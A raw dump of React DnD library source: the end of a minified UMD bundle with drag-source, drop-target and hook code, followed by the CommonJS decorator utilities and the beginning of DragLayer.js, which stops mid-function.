a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Gt(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return Gt(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Gt(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function qt(e){return(qt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Vt(e){return"function"==typeof e}function Wt(){}function Yt(e){if(!function(e){return"object"===qt(e)&&null!==e}(e))return!1;if(null===Object.getPrototypeOf(e))return!0;for(var t=e;null!==Object.getPrototypeOf(t);)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t}function zt(e){var t=e.current;return null==t?null:t.decoratedRef?t.decoratedRef.current:t}function Kt(e){return(t=e)&&t.prototype&&"function"==typeof t.prototype.render||function(e){var t,r=e;return"Symbol(react.forward_ref)"===(null==r||null===(t=r.$$typeof)||void 0===t?void 0:t.toString())}(e);var t}function Xt(e,t,r){return e(r={path:t,exports:{},require:function(e,t){return function(){throw new Error("Dynamic requires are not currently supported by @rollup/plugin-commonjs")} /** @license React v16.13.1 * react-is.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */(null==t&&r.path)}},r.exports),r.exports}var Jt="function"==typeof Symbol&&Symbol.for,Qt=Jt?Symbol.for("react.element"):60103,Zt=Jt?Symbol.for("react.portal"):60106,er=Jt?Symbol.for("react.fragment"):60107,tr=Jt?Symbol.for("react.strict_mode"):60108,rr=Jt?Symbol.for("react.profiler"):60114,nr=Jt?Symbol.for("react.provider"):60109,or=Jt?Symbol.for("react.context"):60110,ir=Jt?Symbol.for("react.async_mode"):60111,ar=Jt?Symbol.for("react.concurrent_mode"):60111,ur=Jt?Symbol.for("react.forward_ref"):60112,cr=Jt?Symbol.for("react.suspense"):60113,sr=Jt?Symbol.for("react.suspense_list"):60120,fr=Jt?Symbol.for("react.memo"):60115,lr=Jt?Symbol.for("react.lazy"):60116,dr=Jt?Symbol.for("react.block"):60121,pr=Jt?Symbol.for("react.fundamental"):60117,hr=Jt?Symbol.for("react.responder"):60118,gr=Jt?Symbol.for("react.scope"):60119;function yr(e){if("object"==typeof e&&null!==e){var t=e.$$typeof;switch(t){case Qt:switch(e=e.type){case ir:case ar:case er:case rr:case tr:case cr:return e;default:switch(e=e&&e.$$typeof){case or:case ur:case lr:case fr:case nr:return e;default:return t}}case Zt:return t}}}function vr(e){return yr(e)===ar}var br={AsyncMode:ir,ConcurrentMode:ar,ContextConsumer:or,ContextProvider:nr,Element:Qt,ForwardRef:ur,Fragment:er,Lazy:lr,Memo:fr,Portal:Zt,Profiler:rr,StrictMode:tr,Suspense:cr,isAsyncMode:function(e){return vr(e)||yr(e)===ir},isConcurrentMode:vr,isContextConsumer:function(e){return yr(e)===or},isContextProvider:function(e){return yr(e)===nr},isElement:function(e){return"object"==typeof e&&null!==e&&e.$$typeof===Qt},isForwardRef:function(e){return yr(e)===ur},isFragment:function(e){return yr(e)===er},isLazy:function(e){return yr(e)===lr},isMemo:function(e){return yr(e)===fr},isPortal:function(e){return yr(e)===Zt},isProfiler:function(e){return yr(e)===rr},isStrictMode:function(e){return yr(e)===tr},isSuspense:function(e){return yr(e)===cr},isValidElementType:function(e){return"string"==typeof e||"function"==typeof e||e===er||e===ar||e===rr||e===tr||e===cr||e===sr||"object"==typeof e&&null!==e&&(e.$$typeof===lr||e.$$typeof===fr||e.$$typeof===nr||e.$$typeof===or||e.$$typeof===ur||e.$$typeof===pr||e.$$typeof===hr||e.$$typeof===gr||e.$$typeof===dr)},typeOf:yr},mr=Xt((function(e,t){})),Or=(mr.AsyncMode,mr.ConcurrentMode,mr.ContextConsumer,mr.ContextProvider,mr.Element,mr.ForwardRef,mr.Fragment,mr.Lazy,mr.Memo,mr.Portal,mr.Profiler,mr.StrictMode,mr.Suspense,mr.isAsyncMode,mr.isConcurrentMode,mr.isContextConsumer,mr.isContextProvider,mr.isElement,mr.isForwardRef,mr.isFragment,mr.isLazy,mr.isMemo,mr.isPortal,mr.isProfiler,mr.isStrictMode,mr.isSuspense,mr.isValidElementType,mr.typeOf,Xt((function(e){e.exports=br}))),Sr={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},wr={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},Dr={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},Ir={};function Cr(e){return Or.isMemo(e)?Dr:Ir[e.$$typeof]||Sr}Ir[Or.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},Ir[Or.Memo]=Dr;var kr=Object.defineProperty,Tr=Object.getOwnPropertyNames,Pr=Object.getOwnPropertySymbols,jr=Object.getOwnPropertyDescriptor,Er=Object.getPrototypeOf,Rr=Object.prototype;var xr=function e(t,r,n){if("string"!=typeof r){if(Rr){var o=Er(r);o&&o!==Rr&&e(t,o,n)}var i=Tr(r);Pr&&(i=i.concat(Pr(r)));for(var a=Cr(t),u=Cr(r),c=0;c<i.length;++c){var s=i[c];if(!(wr[s]||n&&n[s]||u&&u[s]||a&&a[s])){var f=jr(r,s);try{kr(t,s,f)}catch(e){}}}}return t};function Mr(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Ar(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function _r(e,t,r){return t&&Ar(e.prototype,t),r&&Ar(e,r),e}var Nr=function(){var e=function(){function e(t){Mr(this,e),this.isDisposed=!1,this.action=Vt(t)?t:Wt}return _r(e,[{key:"dispose",value:function(){this.isDisposed||(this.action(),this.isDisposed=!0)}}],[{key:"isDisposable",value:function(e){return Boolean(e&&Vt(e.dispose))}},{key:"_fixup",value:function(t){return e.isDisposable(t)?t:e.empty}},{key:"create",value:function(t){return new e(t)}}]),e}();return e.empty={dispose:Wt},e}(),Hr=function(){function e(){Mr(this,e),this.isDisposed=!1;for(var t=arguments.length,r=new Array(t),n=0;n<t;n++)r[n]=arguments[n];this.disposables=r}return _r(e,[{key:"add",value:function(e){this.isDisposed?e.dispose():this.disposables.push(e)}},{key:"remove",value:function(e){var t=!1;if(!this.isDisposed){var r=this.disposables.indexOf(e);-1!==r&&(t=!0,this.disposables.splice(r,1),e.dispose())}return t}},{key:"clear",value:function(){if(!this.isDisposed){for(var e=this.disposables.length,t=new Array(e),r=0;r<e;r++)t[r]=this.disposables[r];this.disposables=[];for(var n=0;n<e;n++)t[n].dispose()}}},{key:"dispose",value:function(){if(!this.isDisposed){this.isDisposed=!0;for(var e=this.disposables.length,t=new Array(e),r=0;r<e;r++)t[r]=this.disposables[r];this.disposables=[];for(var n=0;n<e;n++)t[n].dispose()}}}]),e}(),Ur=function(){function e(){Mr(this,e),this.isDisposed=!1}return _r(e,[{key:"getDisposable",value:function(){return this.current}},{key:"setDisposable",value:function(e){var t=this.isDisposed;if(!t){var r=this.current;this.current=e,r&&r.dispose()}t&&e&&e.dispose()}},{key:"dispose",value:function(){if(!this.isDisposed){this.isDisposed=!0;var e=this.current;this.current=void 0,e&&e.dispose()}}}]),e}();function $r(e){return($r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Fr(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Lr(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return Lr(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Lr(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Br(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function Gr(e,t){return(Gr=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function qr(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var r,n=Wr(e);if(t){var o=Wr(this).constructor;r=Reflect.construct(n,arguments,o)}else r=n.apply(this,arguments);return Vr(this,r)}}function Vr(e,t){return!t||"object"!==$r(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Wr(e){return(Wr=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Yr(e){var r=e.DecoratedComponent,n=e.createHandler,o=e.createMonitor,i=e.createConnector,a=e.registerHandler,u=e.containerDisplayName,s=e.getType,f=e.collect,l=e.options.arePropsEqual,d=void 0===l?at:l,p=r,h=r.displayName||r.name||"Component",g=function(){var e=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Gr(e,t)}(y,e);var r,u,l,g=qr(y);function y(e){var r;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,y),(r=g.call(this,e)).decoratedRef=t.createRef(),r.handleChange=function(){var e=r.getCurrentState();at(e,r.state)||r.setState(e)},r.disposable=new Ur,r.receiveProps(e),r.dispose(),r}return r=y,(u=[{key:"getHandlerId",value:function(){return this.handlerId}},{key:"getDecoratedComponentInstance",value:function(){return c(this.decoratedRef.current,"In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()"),this.decoratedRef.current}},{key:"shouldComponentUpdate",value:function(e,t){return!d(e,this.props)||!at(t,this.state)}},{key:"componentDidMount",value:function(){this.disposable=new Ur,this.currentType=void 0,this.receiveProps(this.props),this.handleChange()}},{key:"componentDidUpdate",value:function(e){d(this.props,e)||(this.receiveProps(this.props),this.handleChange())}},{key:"componentWillUnmount",value:function(){this.dispose()}},{key:"receiveProps",value:function(e){this.handler&&(this.handler.receiveProps(e),this.receiveType(s(e)))}},{key:"receiveType",value:function(e){if(this.handlerMonitor&&this.manager&&this.handlerConnector&&e!==this.currentType){this.currentType=e;var t=Fr(a(e,this.handler,this.manager),2),r=t[0],n=t[1];this.handlerId=r,this.handlerMonitor.receiveHandlerId(r),this.handlerConnector.receiveHandlerId(r);var o=this.manager.getMonitor().subscribeToStateChange(this.handleChange,{handlerIds:[r]});this.disposable.setDisposable(new Hr(new Nr(o),new Nr(n)))}}},{key:"dispose",value:function(){this.disposable.dispose(),this.handlerConnector&&this.handlerConnector.receiveHandlerId(null)}},{key:"getCurrentState",value:function(){return this.handlerConnector?f(this.handlerConnector.hooks,this.handlerMonitor,this.props):{}}},{key:"render",value:function(){var e=this;return t.createElement(Ke.Consumer,null,(function(r){var n=r.dragDropManager;return e.receiveDragDropManager(n),"undefined"!=typeof requestAnimationFrame&&requestAnimationFrame((function(){var t;return null===(t=e.handlerConnector)||void 0===t?void 0:t.reconnect()})),t.createElement(p,Object.assign({},e.props,e.getCurrentState(),{ref:Kt(p)?e.decoratedRef:null}))}))}},{key:"receiveDragDropManager",value:function(e){void 0===this.manager&&(c(void 0!==e,"Could not find the drag and drop manager in the context of %s. Make sure to render a DndProvider component in your top-level component. Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context",h,h),void 0!==e&&(this.manager=e,this.handlerMonitor=o(e),this.handlerConnector=i(e.getBackend()),this.handler=n(this.handlerMonitor,this.decoratedRef)))}}])&&Br(r.prototype,u),l&&Br(r,l),y}(t.Component);return e.DecoratedComponent=r,e.displayName="".concat(u,"(").concat(h,")"),e}();return xr(g,r)}function zr(e){return(zr="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Kr(e,t){return"string"==typeof e||"symbol"===zr(e)||!!t&&Array.isArray(e)&&e.every((function(e){return Kr(e,!1)}))}function Xr(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var Jr=["canDrag","beginDrag","isDragging","endDrag"],Qr=["beginDrag"],Zr=function(){function e(t,r,n){var o=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.props=null,this.beginDrag=function(){if(o.props)return o.spec.beginDrag(o.props,o.monitor,o.ref.current)},this.spec=t,this.monitor=r,this.ref=n}var t,r,n;return t=e,(r=[{key:"receiveProps",value:function(e){this.props=e}},{key:"canDrag",value:function(){return!!this.props&&(!this.spec.canDrag||this.spec.canDrag(this.props,this.monitor))}},{key:"isDragging",value:function(e,t){return!!this.props&&(this.spec.isDragging?this.spec.isDragging(this.props,this.monitor):t===e.getSourceId())}},{key:"endDrag",value:function(){this.props&&this.spec.endDrag&&this.spec.endDrag(this.props,this.monitor,zt(this.ref))}}])&&Xr(t.prototype,r),n&&Xr(t,n),e}();function en(e){return Object.keys(e).forEach((function(t){c(Jr.indexOf(t)>-1,'Expected the drag source specification to only have some of the following keys: %s. Instead received a specification with an unexpected "%s" key. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',Jr.join(", "),t),c("function"==typeof e[t],"Expected %s in the drag source specification to be a function. Instead received a specification with %s: %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source",t,t,e[t])})),Qr.forEach((function(t){c("function"==typeof e[t],"Expected %s in the drag source specification to be a function. Instead received a specification with %s: %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source",t,t,e[t])})),function(t,r){return new Zr(e,t,r)}}function tn(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var rn=["canDrop","hover","drop"],nn=function(){function e(t,r,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.props=null,this.spec=t,this.monitor=r,this.ref=n}var t,r,n;return t=e,(r=[{key:"receiveProps",value:function(e){this.props=e}},{key:"receiveMonitor",value:function(e){this.monitor=e}},{key:"canDrop",value:function(){return!this.spec.canDrop||this.spec.canDrop(this.props,this.monitor)}},{key:"hover",value:function(){this.spec.hover&&this.props&&this.spec.hover(this.props,this.monitor,zt(this.ref))}},{key:"drop",value:function(){if(this.spec.drop)return this.spec.drop(this.props,this.monitor,this.ref.current)}}])&&tn(t.prototype,r),n&&tn(t,n),e}();function on(e){return Object.keys(e).forEach((function(t){c(rn.indexOf(t)>-1,'Expected the drop target specification to only have some of the following keys: %s. Instead received a specification with an unexpected "%s" key. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',rn.join(", "),t),c("function"==typeof e[t],"Expected %s in the drop target specification to be a function. Instead received a specification with %s: %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target",t,t,e[t])})),function(t,r){return new nn(e,t,r)}}function an(e){return(an="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function un(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function cn(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function sn(e,t,r){return t&&cn(e.prototype,t),r&&cn(e,r),e}function fn(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&ln(e,t)}function ln(e,t){return(ln=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function dn(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}();return function(){var r,n=hn(e);if(t){var o=hn(this).constructor;r=Reflect.construct(n,arguments,o)}else r=n.apply(this,arguments);return pn(this,r)}}function pn(e,t){return!t||"object"!==an(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function hn(e){return(hn=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}e.DndContext=Ke,e.DndProvider=tt,e.DragLayer=function(e){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return c("function"==typeof e,'Expected "collect" provided as the first argument to DragLayer to be a function that collects props to inject into the component. ',"Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer",e),c(Yt(r),'Expected "options" provided as the second argument to DragLayer to be a plain object when specified. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer',r),function(n){var o=n,i=r.arePropsEqual,a=void 0===i?at:i,u=o.displayName||o.name||"Component",s=function(){var r=function(r){fn(i,r);var n=dn(i);function i(){var e;return un(this,i),(e=n.apply(this,arguments)).isCurrentlyMounted=!1,e.ref=t.createRef(),e.handleChange=function(){if(e.isCurrentlyMounted){var t=e.getCurrentState();at(t,e.state)||e.setState(t)}},e}return sn(i,[{key:"getDecoratedComponentInstance",value:function(){return c(this.ref.current,"In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()"),this.ref.current}},{key:"shouldComponentUpdate",value:function(e,t){return!a(e,this.props)||!at(t,this.state)}},{key:"componentDidMount",value:function(){this.isCurrentlyMounted=!0,this.handleChange()}},{key:"componentWillUnmount",value:function(){this.isCurrentlyMounted=!1,this.unsubscribeFromOffsetChange&&(this.unsubscribeFromOffsetChange(),this.unsubscribeFromOffsetChange=void 0),this.unsubscribeFromStateChange&&(this.unsubscribeFromStateChange(),this.unsubscribeFromStateChange=void 0)}},{key:"render",value:function(){var e=this;return t.createElement(Ke.Consumer,null,(function(r){var n=r.dragDropManager;return void 0===n?null:(e.receiveDragDropManager(n),e.isCurrentlyMounted?t.createElement(o,Object.assign({},e.props,e.state,{ref:Kt(o)?e.ref:null})):null)}))}},{key:"receiveDragDropManager",value:function(e){if(void 0===this.manager){this.manager=e,c("object"===an(e),"Could not find the drag and drop manager in the context of %s. Make sure to render a DndProvider component in your top-level component. Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context",u,u);var t=this.manager.getMonitor();this.unsubscribeFromOffsetChange=t.subscribeToOffsetChange(this.handleChange),this.unsubscribeFromStateChange=t.subscribeToStateChange(this.handleChange)}}},{key:"getCurrentState",value:function(){if(!this.manager)return{};var t=this.manager.getMonitor();return e(t,this.props)}}]),i}(t.Component);return r.displayName="DragLayer(".concat(u,")"),r.DecoratedComponent=n,r}();return xr(s,n)}},e.DragPreviewImage=ot,e.DragSource=function(e,t,r){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},o=e;"function"!=typeof e&&(c(Kr(e),'Expected "type" provided as the first argument to DragSource to be a string, or a function that returns a string given the current props. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',e),o=function(){return e}),c(Yt(t),'Expected "spec" provided as the second argument to DragSource to be a plain object. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',t);var i=en(t);return c("function"==typeof r,'Expected "collect" provided as the third argument to DragSource to be a function that returns a plain object of props to inject. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',r),c(Yt(n),'Expected "options" provided as the fourth argument to DragSource to be a plain object when specified. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source',r),function(e){return Yr({containerDisplayName:"DragSource",createHandler:i,registerHandler:ht,createConnector:function(e){return new Tt(e)},createMonitor:function(e){return new mt(e)},DecoratedComponent:e,getType:o,collect:r,options:n})}},e.DropTarget=function(e,t,r){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},o=e;"function"!=typeof e&&(c(Kr(e,!0),'Expected "type" provided as the first argument to DropTarget to be a string, an array of strings, or a function that returns either given the current props. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',e),o=function(){return e}),c(Yt(t),'Expected "spec" provided as the second argument to DropTarget to be a plain object. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',t);var i=on(t);return c("function"==typeof r,'Expected "collect" provided as the third argument to DropTarget to be a function that returns a plain object of props to inject. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',r),c(Yt(n),'Expected "options" provided as the fourth argument to DropTarget to be a plain object when specified. Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target',r),function(e){return Yr({containerDisplayName:"DropTarget",createHandler:i,registerHandler:pt,createMonitor:function(e){return new Ht(e)},createConnector:function(e){return new At(e)},DecoratedComponent:e,getType:o,collect:r,options:n})}},e.createDndContext=Xe,e.useDrag=function(e){var r=t.useRef(e);r.current=e,c(null!=e.item,"item must be defined"),c(null!=e.item.type,"item type must be defined");var n,o=Rt((n=gt(),[t.useMemo((function(){return new mt(n)}),[n]),t.useMemo((function(){return new Tt(n.getBackend())}),[n])]),2),i=o[0],a=o[1];!function(e,r,n){var o=gt(),i=t.useMemo((function(){return{beginDrag:function(){var t=e.current,n=t.begin,o=t.item;if(n){var i=n(r);return c(null==i||"object"===Et(i),"dragSpec.begin() must either return an object, undefined, or null"),i||o||{}}return o||{}},canDrag:function(){return"boolean"==typeof e.current.canDrag?e.current.canDrag:"function"!=typeof e.current.canDrag||e.current.canDrag(r)},isDragging:function(t,n){var o=e.current.isDragging;return o?o(r):n===t.getSourceId()},endDrag:function(){var t=e.current.end;t&&t(r.getItem(),r),n.reconnect()}}}),[]);it((function(){var t=Pt(ht(e.current.item.type,i,o),2),a=t[0],u=t[1];return r.receiveHandlerId(a),n.receiveHandlerId(a),u}),[])}(r,i,a);var u=dt(i,r.current.collect||function(){return{}},(function(){return a.reconnect()})),s=t.useMemo((function(){return a.hooks.dragSource()}),[a]),f=t.useMemo((function(){return a.hooks.dragPreview()}),[a]);return it((function(){a.dragSourceOptions=r.current.options||null,a.reconnect()}),[a]),it((function(){a.dragPreviewOptions=r.current.previewOptions||null,a.reconnect()}),[a]),[u,s,f]},e.useDragDropManager=gt,e.useDragLayer=function(e){var r=gt().getMonitor(),n=Bt(st(r,e),2),o=n[0],i=n[1];return t.useEffect((function(){return r.subscribeToOffsetChange(i)})),t.useEffect((function(){return r.subscribeToStateChange(i)})),o},e.useDrop=function(e){var r=t.useRef(e);r.current=e,c(null!=e.accept,"accept must be defined");var n,o=Ft((n=gt(),[t.useMemo((function(){return new Ht(n)}),[n]),t.useMemo((function(){return new At(n.getBackend())}),[n])]),2),i=o[0],a=o[1];!function(e,r,n){var o=gt(),i=t.useMemo((function(){return{canDrop:function(){var t=e.current.canDrop;return!t||t(r.getItem(),r)},hover:function(){var t=e.current.hover;t&&t(r.getItem(),r)},drop:function(){var t=e.current.drop;if(t)return t(r.getItem(),r)}}}),[r]);it((function(){var t=Ut(pt(e.current.accept,i,o),2),a=t[0],u=t[1];return r.receiveHandlerId(a),n.receiveHandlerId(a),u}),[r,n])}(r,i,a);var u=dt(i,r.current.collect||function(){return{}},(function(){return a.reconnect()})),s=t.useMemo((function(){return a.hooks.dropTarget()}),[a]);return it((function(){a.dropTargetOptions=e.options||null,a.reconnect()}),[e.options]),[u,s]},Object.defineProperty(e,"__esModule",{value:!0})})); cjs/decorators/utils.js000064400000003570151677306070011207 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.getDecoratedComponent = getDecoratedComponent; exports.isClassComponent = isClassComponent; exports.isRefForwardingComponent = isRefForwardingComponent; exports.isRefable = isRefable; exports.checkDecoratorArguments = checkDecoratorArguments; function getDecoratedComponent(instanceRef) { var currentRef = instanceRef.current; if (currentRef == null) { return null; } else if (currentRef.decoratedRef) { // go through the private field in decorateHandler to avoid the invariant hit return currentRef.decoratedRef.current; } else { return currentRef; } } function isClassComponent(Component) { return Component && Component.prototype && typeof Component.prototype.render === 'function'; } function isRefForwardingComponent(C) { var _item$$$typeof; var item = C; return (item === null || item === void 0 ? void 0 : (_item$$$typeof = item.$$typeof) === null || _item$$$typeof === void 0 ? void 0 : _item$$$typeof.toString()) === 'Symbol(react.forward_ref)'; } function isRefable(C) { return isClassComponent(C) || isRefForwardingComponent(C); } function checkDecoratorArguments(functionName, signature) { if (process.env.NODE_ENV !== 'production') { for (var i = 0; i < (arguments.length <= 2 ? 0 : arguments.length - 2); i++) { var arg = i + 2 < 2 || arguments.length <= i + 2 ? undefined : arguments[i + 2]; if (arg && arg.prototype && arg.prototype.render) { // eslint-disable-next-line no-console console.error('You seem to be applying the arguments in the wrong order. ' + "It should be ".concat(functionName, "(").concat(signature, ")(Component), not the other way around. ") + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#you-seem-to-be-applying-the-arguments-in-the-wrong-order'); return; } } } }cjs/decorators/DragLayer.js000064400000023630151677306070011720 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.DragLayer = DragLayer; var React = _interopRequireWildcard(require("react")); var _shallowequal = require("@react-dnd/shallowequal"); var _hoistNonReactStatics = _interopRequireDefault(require("hoist-non-react-statics")); var _invariant = require("@react-dnd/invariant"); var _DndContext = require("../common/DndContext"); var _js_utils = require("../utils/js_utils"); var _utils = require("./utils"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; } function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if 